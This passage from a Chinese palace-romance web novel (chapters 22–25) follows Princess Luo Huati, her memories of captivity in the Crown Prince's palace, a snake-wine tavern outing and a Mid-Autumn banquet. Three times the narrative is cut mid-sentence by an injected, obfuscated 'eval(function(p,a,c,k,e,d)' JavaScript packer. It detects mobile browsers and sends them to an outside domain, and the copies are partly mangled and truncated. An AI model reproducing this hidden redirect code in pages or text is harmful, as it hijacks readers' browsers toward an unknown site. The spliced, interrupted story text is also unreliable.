曲探幽自动忽略落花啼的污言秽语,下颌抵在落花啼肩头,暖暖的呼吸喷薄在对方红彤彤的耳侧,手上一使劲,把人揉得更近些。 低笑,没皮没脸道,“落花啼,你终于答应嫁给孤了,既然会成为夫妻,提前抱一抱也不行吗?左右少不了一块肉。” “就算少了,孤也会割下自己的肉给你添上。” “恶心,放开!” 落花啼的手肘重重朝后一捅,直捅到曲探幽的肋骨上,后者吃疼闷哼一声,恋恋不舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810658|175219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地丢手,黑眸还一秒不离地扫瞄落花啼。 曲探幽挑眉,“你今天的话,孤会做到的。” “什么话?” 弹开数丈的落花啼背靠门窗,聚精会神瞪着曲探幽,莫名其妙道,“我说什么了?” “打下江山,让你成为独一无二的皇后。” 他说,“孤会做给你看,让你成为世界上最尊贵的女人。” 嘁。 信鬼的话,都不会信你的。 落花啼白眼翻了又翻,嗤之以鼻。与其等别人打天下当一位毫无实权的皇后,不如自己去抢天下,手握重权,届时登高至顶,呼风唤雨,称霸世界的就是自己。 皇后和帝王来比较,帝王的吸引力更胜一筹。 不,更胜一百筹,一千筹,一万筹,一亿筹。 落花啼笑道,“好,那你多多努力,我拭目以待。” 迈步出了悬书阁,外头等待多时,无聊望天的银芽蹿上前,“公主,你出来了,奴婢还以为你和曲朝太子又吵架了,刚刚我们的太子殿下怒气冲冲地走了,好像吃了炸药。呸呸呸!对不住,公主,奴婢不是故意说太子殿下的。” 落花啼摸摸银芽的后脑勺,叹道,“大哥过几天就好了,我能明白他。” “嗯,公主,那我们现在去何处?回欢漪殿吗?” “我想想哈。” “不用想了。”曲探幽踱步出来,走到落花啼身边,两人站一起颇有金童玉女,郎才女貌的错觉。 “孤带你们去曲朝的景点玩,一律金银皆由东宫出。” “入鞘,去备好马车,打点侍卫。” 入鞘道,“是,太子殿下。” 此时一抹青色挤入眼瞳,窈窕姿容的女子自角落走出,低眉颔首,向曲探幽施礼,“太子殿下,时辰到了,该为娘娘奉香了。” 众人闻声,纷纷扭头去瞧说话的宫婢。 那宫婢一身青绿衣衫,肤色白皙,五官妍丽,饶有姿色,发髻上簪了绿油油的绒花,几只银钗,清秀雅婷,简约朴素。 此人,化成灰落花啼都忘不了。 簌珠,上辈子对曲探幽唯命是从,肝脑涂地,被曲探幽拨给落花啼使用的宫女。美名其曰是宫女,实际是一根扎进肺腑,欲拔不得的毒针,是名副其实曲探幽安排的眼线。 落花啼跑了三次,被擒回来三次,少不了簌珠的暗中操作,如果没有她的频频出卖,落花啼极大可能已经逃出生天,远离曲探幽这个恶魔。 不过落花啼也是第三次被捕回东宫,才察觉出是簌珠禀告的消息。 簌珠人前温和随性,装成一副心疼落花啼的模样,从而获得信任。最后她被落花啼识破真面目,暴露本性,时常刺激羞-辱落花啼是一个亡国公主。 曲探幽每次因政务不在东宫之时,关在正殿的机关暗门里的落花啼就会被簌珠强行用冰水泼醒,扯着她的头发拽起来对视。 簌珠的眼睛很黑很黑,好像没有温度的鬼洞,一望无底。 她蹲在落花啼前面,瞥过来,嬉笑道,“落花啼,论起落差,你应是无人能比的罢?你以前可是能媲美曲朝灵华长公主的身份和地位,如今成了,哈哈哈哈哈!成了太子殿下锁在暗门中的女鬼,没了国家,没了武功,没了自由,什么都没有,你活着有什么意思……” “我不明白,不明白太子殿下为何留着你苟活,明明落花国已经亡国了数年,你也不是公主殿下了,你和我有什么区别?为什么太子殿下还要留着你……凭什么,凭什么让我伺候你?你是宫婢,是曲朝的宫婢!知道吗?落花啼,来,叫我一声簌珠公主,快,快叫!” 她似乎享受欺辱落花啼的快感,一巴掌掴在手无缚鸡之力的落花啼脸庞,顷刻间,血红的掌印嵌在上面,消褪不下。 23. 饮绿酒一杯 第二十三章饮绿酒一杯 (蔻燎) 落花啼四肢栓着铁链,怒不可遏地扭动身躯,想还簌珠一耳光,却挣脱不了桎梏。 叮叮当当的铁锁撞出刺耳的噪音,像鬼哭狼嚎。 她咬得唇角泛血,圆睁眸子,“你,与我,无冤无仇,何必如此……” 什么是绝望,什么是力竭,什么是心灰意冷。 落花啼被关在东宫的七年就是如此,绝望,力竭,心灰意冷交织成铺天盖地的铁网,将她套得牢牢的。 簌珠欲再打,暗门处传来橐橐的急促脚步声。 簌珠一愣,赶忙扔开落花啼的头发,两只手去扒拉落花啼身上脏兮兮的衣服,念念有词道,“花啼啊,你看,衣服这么快就脏了,太子殿下看了会不高兴的,我给你换一身干净的,你喜欢什么颜色,我拿了红色,白色……” 不愧是浸--淫东宫数年的人,变脸之能无出其右。 脚步声由远及近,一记一记的声音像敲起了巨鼓,令人恐慌,畏惧,觳觫。 熟悉的龙纹锦靴乍现在眼里,熟悉的嗓音响彻在头顶。 曲探幽道,“你在做什么?” 簌珠瑟瑟发抖,咬着红唇,回身伏地道,“太子殿下恕罪,奴婢只是想给她换件衣服……” “滚!” 一脚踹开簌珠,逆着光的曲探幽浑身黑魆魆的,眉目表情全部看不见。 他说,“孤没吩咐过的事,你也敢私自做?入鞘,将她拖下去,打五十棍!” 簌珠咬牙,低垂脑袋,愤愤地跟着入鞘离开密室。 曲探幽走到落花啼身边,近在咫尺的距离,俯视,道,“落花啼,起来,孤帮你沐浴,帮你换衣。” 落花啼愕然,背脊蹿上一阵挥之不去的寒冷,透骨噬髓。 她不答一字,朝着曲探幽的龙纹靴狠狠啐了一口,阖上眼睑,面无表情地翻身背对。 甩了甩头颅,落花啼强行抛开前世的记忆,盯着今生的簌珠,足底滞住,不前不后。 曲探幽的容色一黑,横眉冷目,斜了斜簌珠,厉色,“孤知道了,你退下。” 簌珠低低应着,偷瞄几眼落花啼,撇撇嘴旋身走了。 落花啼道,“奉香?给哪位娘娘奉香。” “母后。” 曲探幽踏步走远,转入一长廊之后,久久不出。 落花啼和银芽在东宫四处转悠张望,一个钟头后,入鞘过来道,“春还公主,太子殿下说现在可以出宫了。” 一辆马车。 一辆。 不知是有意还是无意,曲探幽堂堂曲朝的太子殿下,铁公鸡般只准备一辆马车,入鞘和银芽坐在外面,落花啼与曲探幽坐在车内。 一群曲兵徒步跟在马车前后,乌泱泱一条金龙,盘旋无端。 两人独处,落花啼想起了刚才遇见的簌珠,毛发倒竖,心道,这一世得把此人弄远些,不可发生交集。 她清了清嗓子,正视曲探幽,试探性道,“曲探幽,我有一句话不知当讲不当讲。” “那就别讲,孤不听。” “……你就不能客套客套?” “你想说什么?” 曲探幽的眸光投至落花啼脸上,逡巡几遍,眯缝凤目道,“说吧,孤姑且听一听。” 落花啼开启了先发制人的心思,一言蔽之,“刚刚那个青绿衣服的宫婢,簌珠,我不喜欢她,打发她出宫吧。” “簌珠?你怎么知道她叫簌珠?” 曲探幽敏锐地发觉不对劲,挑起一根浓眉,喜形于色,“你打探过孤东宫里的宫婢?何人有姿色你便讨厌何人?你是吃醋了么?” 落花啼没想到曲探幽会这样猜测,笑得发抖,挥手道,“你又自作多情了,我没你想得那么幼稚肤浅,随便你养多少宫婢,本公主都不在乎。不过簌珠不一样,她得离开东宫,因为我看她第一眼就觉得会克我。” “克你?孤没记错的话,你也曾说过孤会克你。落花啼,你的脑袋里成天装着什么呢?让孤看看。” 他竟极其自然地长腿一跨,坐到了落花啼这一侧,环臂圈着落花啼的后腰,一张俊脸凑得几乎贴上落花啼的鼻尖。 落花啼猛的推开他,恶寒道,“有病!” 曲探幽并不生怒,含笑道,“论谁克谁,应该是你克孤才是罢。” 颠倒黑白,大写的颠倒黑白。 懒得跟曲探幽争执,落花啼撂下话,伸出一根手指头,“别扯有的没的,一个字,打发不打发?” “这是两个字。” 曲探幽笑吟吟地握着落花啼的食指,戏谑道,“打发,打发,你不喜欢的人孤都打发走,如何?” 落花啼假笑的功夫见涨,阴阳怪气道,“多谢太子殿下呢。” 落花国来了两位重要人物,曲远纣故意让曲探幽领落花啼去各种大好河山游玩,增进感情。同理,另一边的落花鸣亦被五公主曲柔忆带出皇宫去四处闲逛,爬山涉湖。 折腾了几日,落花啼被曲探幽架着去了曲水河划船,去驯马场骑马,去坞山看叶海,去翘首围场射猎……落花啼玩归玩,一路上没给曲探幽好脸色过。 时光飞逝,九月中旬,步入了飒爽金秋。 离中秋家宴没多久,曲远纣便让落花国兄妹共赴中秋宴,过完节再计划着装上万两黄金,慢慢回国。 无可奈何,落花啼应下了。 她本意也想查一查千古一帝的谣言,找机会见见宫内的李怀桃道长,便顺坡下驴,留下来过中秋宴。 . 曲水沣都有两大顶尖酒楼,其一,名为“祸泉之属”,此酒楼是曲朝皇都的第一酒楼,是众皇族官员一致认可的地位。若是身处庙堂,没有去祸泉之属溜达溜达,那便算不上混得好。 其二,酒楼“罐中仙”,也是曲水沣都里当属第一的酒楼,与祸泉之属成分庭抗礼之势,两栋酒楼算是一对并蒂莲花,各有秋色。 但罐中仙的第一,不是以普通酒水著名,乃是因为口感顺滑,尝之飘飘欲仙的蛇酒而闻名遐迩。 一日,天朗气清,金轮高挂。 曲探幽善良地拽着落花啼来到了罐中仙酒楼,一品蛇酒味道。 寻常大酒楼建的恢宏磅礴,金碧辉煌,可罐中仙酒楼不然。整栋三层高的酒楼用油漆涂了五彩斑斓的颜色,檐梁柱子都绘上了各种蛇鳞纹样,敞开的大门犹似毒蛇的血盆大口,时时逮一人吞下肚子。 最令人眼前一亮的是它的招牌匾额,是用数条金蛇虬曲盘踞而出,栩栩如生,乍眼瞅去,能吓人一趔趄。 落花啼,曲探幽,银芽,入鞘刚到罐中仙正门,撺哄鸟乱,鼎沸不止的喧闹声便波涛滚滚地泼了过来。 彩色长门里流动着熙熙攘攘的人群,一波人进去,一波人出来,挤得门板“啪啪”作响。 来去的人们华冠美服,绫罗绸缎裹着身段,手腕腰间靴子上的金银饰物观之眼花缭乱,闪闪璀璨。 明显是一些跑到罐中仙取乐消遣的达官显贵,纨绔子弟。 落花啼痴痴地望着牌匾上硕大的“罐中仙”三个字,低喃道,“罐中仙,罐中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810659|175219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的‘仙’是指什么?” “既是蛇酒,罐中仙便是指泡在酒水里的毒蛇了。” “还能如此取名?” “怎么?你不觉得有趣吗?”曲探幽抬手敲敲落花啼的额角,调笑道,“孤记着你爱喝蛇酒,故而带你来品一品罐中仙的滋味,看看是否合你胃口。” 落花啼扒走曲探幽的手,暗自激了一身鸡皮疙瘩,躲远几步,抱着银芽的胳膊,头也不回径直朝罐中仙走去。 一行人消失在酒楼内。 斜对面的街道上,一掠猩红的袍子被微风徐徐摇起来,漾出涟漪。 风一停,红袍寂静地伏下,岿然不动。 须臾,那抹瘦高身形折步旋身,黑靴擦地,投入了浓淄的阴影里,转瞬即逝。 落花啼,曲探幽等人一进罐中仙,酒楼老板“嗖”的蹿出来,惊喜交错,屈身连连作揖行礼,嘴里刚想叫“太子殿下”,却被曲探幽摆手示意不必大张旗鼓,引得其他顾客侧目。 罐中仙的老板是曲朝从一品御史大夫郭兆陵的女婿,名为玉堤,借着岳丈的官势爬起来的一方商贾,自是对曲朝的每一位皇亲国戚的身份了如指掌。他明白曲探幽不愿招摇,一口把堵在喉咙眼的话咽下去。 曲探幽简略道,“一间厢房,端上你们的招牌酒。” 玉堤佝着腰,堆笑道,“公子,您鲜少光临鄙店,小的自然会拿最好的招牌酒孝敬您,银子什么的就免了。请公子小姐,吃好喝好。” 罐中仙酒楼的蛇酒经常被四皇子曲瑾琏,六皇子曲钦寒点名要喝,玉堤老板就屁颠屁颠亲自打包送酒。两皇子对此称赞不绝,回宫极力推荐给了皇上曲远纣,因而,今岁的中秋家宴罐中仙酒楼才能得到献酒入宫的机会,一展身手,响亮名头。 从来不到罐中仙的太子殿下骤然来了,他哪敢收一分铜板,巴巴儿的求着曲探幽喝酒都来不及,一张脸绽放得烂成一朵菊花。 曲探幽一笑了之,默许了。 玉堤伸臂迎着落花啼,曲探幽他们上楼,在楼梯转角处,正巧遇见一位胡子拉碴的黑老头哆嗦着提一桶从酒桌上刮下来的残羹冷炙。 黑老头累了一天,脚底一滑,半块身子朝落花啼压来,潲水桶也咣当咣当地往外冒。 落花啼心底大叫不妙,错步欲躲,不料下一秒身体轻飘飘在空中一晃,曲探幽单手揽着落花啼护在怀里,抬起一记窝心脚踢得黑老头“咵”地刹在地上。 “哗啦……” 满满当当的一桶大鱼大肉的残渣倒了一地,油汪汪的。 玉堤见状,面皮愀然黑红,汗流浃背地给曲探幽道歉,那叫一个慌张无措,卑躬屈膝。 曲探幽锁眉,下颌微抬,移开眸仁。 玉堤咬紧牙关,瑟瑟后怕,扭身冲过去抓住黑老头的衣领子就是一拳头怼上去,目眦欲裂,“膏药刘,你作死啊!一桶潲水都提不了,成事不足败事有余,迟早给我滚蛋!来人,把他拖下去打死,废物!” 两三名酒楼伙计听玉老板勃然大怒,赶忙过来一人攥一只手脚把那膏药刘从楼梯上拖走,骨头磕木板上,咚咚咚的重响。 膏药刘瘦骨嶙峋,浑身黑得发光,额头,脸侧,后背都贴了黑白色膏药,稍一靠近他,一股臭烘烘的药味就扔了来,恶心得使人胃部抽了又抽。 他好像一只漏气的劣质气球,不得不用膏药堵着豁口,防止他瘪下去,瘫软成泥。 “啊啊啊——” 一声声悲哀惨叫慢慢弱了,膏药刘被几名大汉拎出酒楼,在人来人往的街上狂殴,不知最后是死是活。 24. 罐中自成仙 第二十四章罐中自成仙 (蔻燎) 玉堤瞟瞟曲探幽和落花啼的脸色,嘴唇吓得煞白煞白,抖着牙齿道,“太,太子殿下……” “你安排的厢房在哪?” 曲探幽不理玉堤的畏葸恐惧,眉头轻拢,开门见山,“去厢房。” “是,多谢,多谢太子殿下大人不记小人过。” 玉堤战战兢兢地重新站直脊梁,走在前面带路。 曲探幽顺势前往,大手依旧搂在落花啼背后,一副怡然自得的姿态。 落花啼抖抖肩膀,抖开某人的手,快步跟上,坐在了走廊最里的厢房椅子上,抄着双臂。银芽瞅了瞅跟上来的曲探幽,低下小脑袋缩在落花啼后面,大气不敢出。 曲探幽进来坐下,瞥一眼玉堤,“叫人把酒菜送来即可,你无须伺候。” “是。” 玉堤擦了擦额头的密汗,乖乖退下了。 入鞘抱着剑,背着箭篓弓弦守在门外,直挺挺地巍然不动。 不一会,店小二陆续搬来三坛罐中仙,肉菜素菜撑了一满桌,蹑手蹑脚掩上房门,猫着腰走远。 拆一坛酒封,寻来两盏酒杯,曲探幽亲手为落花啼斟满一杯,酒坛横斜向下,浅黄发绿的一株水流倾泻如瀑,浓稠馥冽的酒水溢了点滴出来,溅开透明的水花。 罐中仙的“仙”字有四种意思:其一,喝者无不飘飘欲仙,神魂颠倒。其二,喝了此酒快活似神仙,真金不换。其三,那便指的是罐子里的毒蛇。其四,是祛风通络,补-肾壮-阳,滋补活血的仙药。 落花啼充耳不闻曲探幽的解释,权当这些话是东风射马耳,只顾着二话不说接过酒杯,仰头将酒水饮尽,“啪”的把杯盏敲在桌子上。 “如何?” 斟酒人发出疑问,“这蛇酒与落花国的相较,孰高孰低?” “当然是落花国的好喝,这罐中仙喝着辣嗓子眼,只能算凑合吧。” 嘴上这么说,手掌已把酒杯递过去,一杯接一杯海饮了半罐,她突发奇想,“咦,罐中仙,既喝了酒,不瞧一瞧罐中的‘仙’,还有何趣味?” 一语未罢。 落花啼抢过一坛酒,双手捧着圆溜溜的罐身,睁一眼闭一只眼堵上罐口去窥视里面的东西。 水波粼粼,酒气寒绕。 看了半晌一无所获,逸致上头,捋袖推衣,将雪白的手臂塞入了黑黢黢的酒罐。 搅翻一阵,手指触摸到一冷冰冰的棍状事物,落花啼喜上眉梢,生拉硬拽狠狠地揪出来,把那被开膛破肚泡得铮光瓦亮的青碧色小蛇丢在桌面上。 绿油油的蛇鳞泛着春日潮水的光芒,扭曲僵硬的蛇身盘成了好几圈,蛇目模糊得蒙了一层惨白的翳,自是死得极久了。 落花啼剥开那被刀刃自嘴巴划到尾部的蛇身,不怀好意地笑道,“掏得这么干净,有什么意趣。落花国的蛇酒都是直接将活蛇扔罐子里泡个一年两年的……曲探幽,你喝过蛇酒吗?尝尝?” 即便曲探幽的容色不动丝毫,漠然置之,但落花啼打心里能看出曲探幽不喜欢这些蛇酒,甚至是厌恶已极。 他不喜欢,那就非得让他尝一口。 曲探幽眉弓一紧,“不喝。” 落花啼本来没有强人所难的癖好,直到认识了曲探幽,她这突然萌发的癖好茁壮得很,扯过曲探幽的酒盏,抱着酒罐“哗啦啦”倒了满杯,喜笑颜开,“太子殿下,请。” 举手一挡,曲探幽道,“不喝。” “曲探幽,你傲什么?本公主好心好意给你倒酒,你确定不喝?” “孤若是喝了,你能在孤面前召出那些听候命令的毒蛇吗?” 曲探幽促狭地打量落花啼,反手捏住落花啼靠拢的手腕,眸仁黯然得深不见底。 落花啼唇角一抽,心道曲探幽真是见缝插针提这件事,难免怒上心头,憋气道,“你先喝。” 抿了抿嘴,似乎做了强烈的心理挣扎,曲探幽端过落花啼送到近前的蛇酒,闭上眼皮,皱颦眉头,滚喉吞下。 灼烧的刺痛自喉咙口溜入肺腑,遍体燥热,诡异的蛇腥味蔓延开,难以言表。 曲探幽脸上罩了阴影,绷着身躯,一语不发,仿佛被谁施了定身术。 落花啼幸灾乐祸道,“好喝吗?再来一杯!” “……嗯。”他其实不太理解落花啼为何喜欢喝如此毛骨悚然的东西。 或许她本身就与毒蛇是一类,危险,美丽,冷血,无情,但又摄人心魄。 落花啼心情颇好,逼着曲探幽连续喝了三四杯,直把人的脸色越喝越黑,越喝越绿。 连银芽都看出来落花啼是故意整蛊曲探幽,可曲探幽偏生一副不知情的德行,一味的宠溺放纵落花啼得寸进尺的态度。 宠溺……这词怎么感觉不大对劲。 两人在厢房边吃边喝,交谈不断,乍一看还真让人以为他们鹣鲽情深,伉俪笃重,是新婚燕尔的年轻夫妻。 最后一坛酒喝罢,曲探幽想趁着落花啼眼饧骨软,醉意醺醺,再扯一扯有关毒蛇衔信的话,门外却响起了入鞘的声音,“太子殿下。” “进来。” “是。” 入鞘推门走入,俯首为曲探幽和落花啼行礼,随后弯腰贴到曲探幽耳际低声细语半刻。 曲探幽眼神凌厉,倨傲的口气,“办得好。” 白底金色蟠龙密绣的龙袍一旋,宽肩窄腰,龙姿凤采的高挑背影倏然折出了门外,眨眼消失。 主仆二人一前一后离开。 罐中仙的蛇酒名不虚传,无法小觑,随便一人喝几口都能一醉不起,天地倒转。 四肢酸胀,头痛欲裂,落花啼晕晕乎乎地睁开眼,天色已至薄暮,窗口的火色晚霞占领了半边天。 她揉揉太阳穴,环顾一圈,只见银芽伏在桌案上小憩。 银芽听见窸窸窣窣的动静,启开眼缝,“公主,你醒了。”倒一杯清茶搁在落花啼眼前,“公主,喝点茶润润嗓子,奴婢知道你今儿喝多了,嗓子一定不舒服。” 厢房内点上几支黄澄澄的蜡烛,蜡烛的光晕披着陈年旧事的颓然,照得人也面无血色。 咽几口茶水,落花啼扫扫周遭,疑惑不解。 银芽道,“太子殿下有急事,先一步走了。” 谁关心他作什么去了? 落花啼撑着桌角起身,拉上银芽,嗤道,“别提他,没有他本公主又不是找不到去曲朝皇宫的路。” 甫一打开门,极目一望,走廊外纵横排列着三十多名黑衣侍卫,塞得走廊都密不透风。 侍卫们一见落花啼出来,抱拳道,“春还公主!” “太子殿下命我等保护公主安全,待公主酒醒送回欢漪殿。” 保护么?这么多人不过是来监视她的一举一动,届时好去曲探幽身边一字不漏的告状,讨个好处。 落花啼对其视若无睹,和银芽快速朝楼梯口走去,三十多名侍卫拉出蜿蜒的曲线,一步一步跟着落花啼。 走到罐中仙一楼,楼下饮酒的欢声笑语水浪般裹来,极其清晰。 一中年秃头男撅着唾沫横飞的嘴,“啧,我听玉老板说今儿又有客人逃单了,连住了五六日,每一顿饭钱都没给。说什么到时候离店了一起付,谁知道屁-股一拍收拾行囊逃之夭夭了,现在连皇亲国戚开店都架不住有人吃霸王餐住霸王屋啊?” “哈哈哈哈,那谁知道呢?总有些胆大包天的人敢拿命来博取蝇头小利,他能逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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回到欢漪殿的落花啼仍旧和曲双蛾同吃同睡,全然不记得曲探幽,曲探幽自从罐中仙酒楼一别,数日未曾出现。 在皇宫的一段时间,太子殿下忙得脚不沾地,无暇他顾,落花啼也得了个清闲。 十五的月亮圆如银盆,高高悬挂,明黄鲜艳,仿佛一伸手就能摘到它,紧紧揽进胸怀。 中秋家宴,如期而至。 此次曲朝的中秋宴不止针对皇室中人,还邀请了江湖上的各门派出面赴宴,共品美酒,共尝美馔,共赏秋月。 当今江湖门派不可枚数,但凡叫的上名号的都不得不给曲远纣一个面子,要么一宗之主自己来,要么派重要弟子前来。 天下儒释道各派宗门所追随的国家非是相同,譬如曲朝,背后鼎力相助的有天相宗,罄竹派,青史学府。 落花国内的门派主要是天相宗,青史学府次之。 黑羲国中养的有魔门狡兔窟,名门正派青史学府。蓝穹国,金炼国,焰焚国三国背后的门派一样,皆是圣童教和青史学府。 简而言之,青史学府是每个国家都多多少少分布了一些,主打一个广撒网。 枫林国,曲水国已不复存在,恕不赘言。 落花啼坐在宴席上,食指轻扣金光流转的桌面,慢慢回忆着在花落知多少时花辞树告诉她的天下宗门的情况,眸珠沉似平镜。 大小依次排列的青铜编钟挂在架栏上,木槌按着音律一下下敲击,低闷浑厚,悠长深沉的钟音摇荡在大殿内,绕梁三日,丝缕不绝。 宴会上的美女如云,腰肢摇曳,水袖飘飘,绝色舞蹈翩若惊鸿,婉若游龙,应着编钟的声音在招展回首,一颦一笑,美得惊心动魄。 落花啼和银芽初次感受编钟乐器,听得如痴如醉,捧着小脸认真的观舞品音。 然而,消失数日的曲探幽出现了。 煞风景。 曲远纣安排的坐席是落花啼和曲探幽两人一桌,落花鸣和五公主曲柔忆一桌,因此,曲探幽堂而皇之挨着落花啼坐下。 他侧目睨视落花啼,笑着意味深长,“春还公主,你知道天相宗今日来的人是谁吗?” “是你极其熟悉的人。” 25. 中秋风月宴 第二十五章中秋风月宴 (蔻燎) 天相宗,早在创立宗门的第一任宗主花憾阶死后,便一脉分成两派,常年势不两立,明争暗斗,搞得乌烟瘴气。 花憾阶,原名是落花憾,是以前的落花国公主,七十二岁时仙逝,现已作古西去多年,算上辈分,应是国王落花啸的亲姑姑,落花啼的亲姑婆。 传言,花憾阶死的那一日,容貌看起来只有三十岁,周身萦荡着寒气,睡着了一般,不似死人,竟是像神又像仙。 花憾阶十四岁时,因某种神秘缘由,发誓一辈子不愿嫁人生子。她脱离落花王宫,独自一人离家出走在江湖上过着萍踪侠行的日子,来往各派拜师学艺,二十岁就自创天相宗,声名鹊起,混得风生水起,无人不知无人不晓。 她门下唯有两位亲传弟子,皆是女子,大徒弟花下眠,二徒弟花天恩。两徒弟自学艺的初期就貌合神离,表面上和和气气,背地里刀光剑影,无论如何走不到一起去。 两人都不是落花国王室中人,是落花国的流民孤儿,得花憾阶怜悯,才有机会跟着师父花憾阶所姓,有机会学成本领,闯荡天下。 落花国是两大氏族落氏和花氏所建立,落氏是王族,花氏一般是贵族或官员,因此赐姓她们为“花”,也算是给了体面的身份。 为了纪念落氏与花氏的建国情意,落花国的王室中人都喜欢在“落”字后接一个“花”字,再单取一字作为名,以此铭记恩德,表彰重视花氏。 花憾阶改姓成“花”,弃掉“落”字,大抵是想从根本上摆脱王宫的束缚。 她死后,花下眠和花天恩的关系非但没有冰释前嫌,反而越发僵峙严重,两人各占了灵暝山,哀悼山,把花憾阶的遗物各分一半,尸体埋在两山之间。 从此之后,天相宗有了两个势力相当的宗主,互不低头,互不见面。 而落花啼是拜了灵暝山的花下眠为师,从未见过哀悼山的花天恩是何模样。 曲探幽说天相宗派来的人是自己非常熟悉的,那就得排除哀悼山的天相宗。她所熟悉的人是花下眠,花-径深……难道,他们游历的空隙会过来曲朝参加中秋宴会吗? 一念划走,落花啼欣喜若狂,脊梁一挺,笑靥如花。 “皇上驾到!” “皇后娘娘驾到!” 太监的尖细声刺痛着大殿,众人起来低头拱手施礼,“参见皇上,皇后!” 曲远纣,覆掀雨依旧携手走上高台,缓缓坐下,两人摆手让众人免礼,不必拘束。 曲远纣眉宇的笑意浓稠,龙颜大悦,“诸位,今日乃一年一度的团圆中秋夜,朕设宴款待,不止是为了与臣子百姓同乐,还想和各门派一齐热闹,欢度中秋!” “皇上圣明!多谢皇上恩典!” “来人,让各派人物入席。”曲远纣目亮如火,兴致勃勃。 太监点点头,扯着喉咙道,“请天相宗,磬竹派,青史学府,圣童教的代表进殿度中秋——” 话音将落,殿外一群人陆陆续续走来,逐一垂眸,恭敬地福身一礼,各自寻位置入座。 天相宗的人有两波。 天相宗是执道门牛耳者,请客是避免不了她们的,所以灵暝山和哀悼山的天相宗之人皆露面前来。 灵暝山的代表人物一扭身,惊得落花啼的下巴颌都脱臼三尺,瞠目结舌。 来人不是旁的,是她苦苦追踪,遍寻不获的两名师姐,红衰,翠减。 红衰,翠减是一年所生的同胞姐妹,现已十九岁,前者一袭深红道袍,后者一袭碧绿道袍,宛如菡萏和荷叶,依偎相长。 两人一脸肃杀,冷若冰霜,五官姣美,周身永远渡了一种挥之不去的狠厉,好像你稍微靠近一寸,她就拔剑捅你个对穿,下手不留情面。 可谓是江湖人称的“杀戮双花”,身姿清冷,骨立亭亭,只能远观,无从亵-玩。 若是亵-玩,下场就是血溅天顶,尸骨碎裂。 她们不喜言语,实在需要说话,便是两个字两个字自齿间蹦出来,多说一字就要命似的。 两人交流起来,仅仅需要眼神阴阳怪气地对视,胜过长篇大论,洋洋洒洒的废话。面对落花啼之时,一直是落花啼主动找话题聊天,她们只会敷衍地回答,“是么?”“不对。”“好吧。”“走了。” 落花啼没想到能在曲朝碰到她的两位师姐,举臂挥舞,压低嗓子道,“大师姐,二师姐!” 红衰朝这边一望,冷冰冰道,“公主。” 翠减闻声回眸,无情无绪,“公主。” “……”落花啼分明知道两师姐不待见她,还是激动难耐,毕竟在曲朝能有天相宗的人存在,如同多了一份底气。 “世间花叶不相伦,花入金盆叶作尘。惟有绿荷红菡萏,卷舒开合任天真。此花此叶常相映,翠减红衰愁杀人。” 坐于身侧的曲探幽一手支着下颌,偏头,饶有兴致地盯着落花啼,吟诵一首诗,临了,笑道,“孤觉得,你的两位师姐不应该叫红衰翠减,她们的气质不似荷花,倒像极了寒冷孤傲的红梅,肃杀箫疏之气过胜,温婉清雅之感不足……春还公主,你以为如何?” “不如何。” 落花啼无心理会曲探幽,急不可待地把视线投向另一天相宗的来人。 哀悼山的天相宗,也是来了两位代表,一男一女。 男的落花啼认识,正是在哀悼山使用飞沙走石把她骗得狼狈摔倒,也是去落花王宫奉酒的卧石。人小鬼大,坐在宴桌上东张西望,不小心撞上落花啼的眼神,愣了愣,低下脑袋假装没看见。 卧石身边的成年女子轻纱蒙面,不说话不理人,兀自喝酒,一双剔透的琥珀眸湖夺人眼球,多看一秒就会被里面的波澜卷走,淹没不出。 身披银紫色衣袍,腰带乌黑,左右手扣着银铸的莲纹护腕,此时目不转睛地瞪着不远处的红衰翠减,敌意颇高。 落花啼听她向曲远纣行礼时,自称“花月阴”,看样子,她并不是哀悼山的宗主花天恩,只是一名厉害的弟子。 道门说罢,儒教这边是磬竹派,青史学府。 罄竹派的宗主是一女子,名叫编梦,三十五岁上下,门派中人专门抓捕世界上罄竹难书的恶人,就地正法,为民除害,拨乱反正,故而得名。 青史学府的宗主是一老头子,名号为墨井道人,面容严穆,不苟言笑,谁也不看,仰着下巴,目光游离。他们是真正的名门正派,宗旨是教导天下学子,传授正道知识,诛杀昏君恶霸。 佛教有圣童教,主教地点在梵罗山,他们的空见寺分布蓝穹国,金炼国,焰焚国。教内每五年出一名十岁的圣童,作为领教之人。 今岁的圣童是须弥,亮晶晶的大眼睛到处眨巴,一副好奇的表情,两手握着一个圆圆的大月饼,啃得一脸残渣。他身后随侍着四名高大的教众,着浅黄衣袍,朴素无华。 江湖上还有狡兔窟,是黑羲国之内的魔门,作恶多端,人人喊打,未被邀请。 龙门阁,也就是枫林国自建的门派,其内专出身手矫健的锁阳人,国家灭亡后,龙门阁也销声匿迹,无处逢见。 曲远纣见天下重要门派给面子的赴宴,眼睛弯成一丝缝儿,直言道,“今儿是中秋团圆日,诸位无须拘束,权当自家人,饮酒作乐,不醉不休。” 语罢,他端起酒盏一一与他们对饮,众门派也毕恭毕敬地回酒,觥筹交错,笙歌起伏,喧闹无休。 皇后覆掀雨滴酒不沾,抱着小小正襟危坐,嘴角衔了笑意,一如既往的温和淡然。 